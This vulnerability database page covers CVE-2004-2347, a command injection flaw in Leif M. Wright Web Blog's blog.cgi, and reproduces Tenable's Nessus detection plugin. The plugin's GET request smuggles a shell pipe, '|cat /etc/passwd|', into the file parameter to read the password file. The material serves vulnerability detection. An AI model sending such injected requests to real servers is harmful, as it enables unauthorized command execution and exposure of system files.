Vulnerabilities > CVE-2004-2347 - Remote Command Execution vulnerability in Leif M. Wright web Blog 1.1/1.1.5

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
leif-m-wright
nessus
exploit available

Summary

blog.cgi in Leif M. Wright Web Blog 1.1 and 1.1.5 allows remote attackers to execute arbitrary commands via shell metacharacters such as '|' in the file parameter of ViewFile requests.

Vulnerable Configurations

Part Description Count
Application
Leif_M._Wright
2

Exploit-Db

descriptionLeif M. Wright Web Blog 1.1 Remote Command Execution Vulnerability. CVE-2004-2347. Webapps exploit for cgi platform
idEDB-ID:23629
last seen2016-02-02
modified2004-01-31
published2004-01-31
reporterActualMInd
sourcehttps://www.exploit-db.com/download/23629/
titleLeif M. Wright Web Blog 1.1 - Remote Command Execution Vulnerability

Nessus

NASL familyCGI abuses
NASL idLEIFWRIGHT_BLOG_CMD_EXECUTION.NASL
descriptionThe remote host is running LeifWright
last seen2020-06-01
modified2020-06-02
plugin id12033
published2004-02-02
reporterThis script is Copyright (C) 2004-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/12033
titleLeif Wright Web Blog blog.cgi ViewFile Request file Parameter Arbitrary Command Execution
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if(description)
{
 script_id(12033);
 script_version ("1.21");
 script_cve_id("CVE-2004-2347");
 script_bugtraq_id(9539);
 
 script_name(english:"Leif Wright Web Blog blog.cgi ViewFile Request file Parameter Arbitrary Command Execution");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server is hosting a CGI application that is affected by
a remote command execution vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote host is running LeifWright's blog.cgi - a CGI designed to
handle personal web logs (or 'blogs'). 

There is a bug in this software that could allow an attacker to execute
arbitrary commands on the remote web server with the privileges of the
web user." );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/352303/30/0/threaded" );
 script_set_attribute(attribute:"solution", value:
"There is no known solution at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"true");


 script_set_attribute(attribute:"plugin_publication_date", value: "2004/02/02");
 script_set_attribute(attribute:"vuln_publication_date", value: "2004/01/29");
 script_cvs_date("Date: 2018/11/15 20:50:17");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 
 summary["english"] = "Checks for command execution in LeifWright's blog.cgi";
 
 script_summary(english:summary["english"]);
 
 script_category(ACT_GATHER_INFO);
 
 script_copyright(english:"This script is Copyright (C) 2004-2018 Tenable Network Security, Inc.");
 script_family(english:"CGI abuses");
 script_dependencie("find_service1.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);

foreach dir (cgi_dirs())
{
  res = http_send_recv3(method:"GET", item:string(dir,"/blog.cgi?submit=ViewFile&month=01&year=2004&file=|cat%20/etc/passwd|"), port:port, exit_on_fail: 1);

  if(egrep(pattern:".*root:.*:0:[01]:.*", string:res[2])){
    security_hole(port);
    exit(0);
  }
}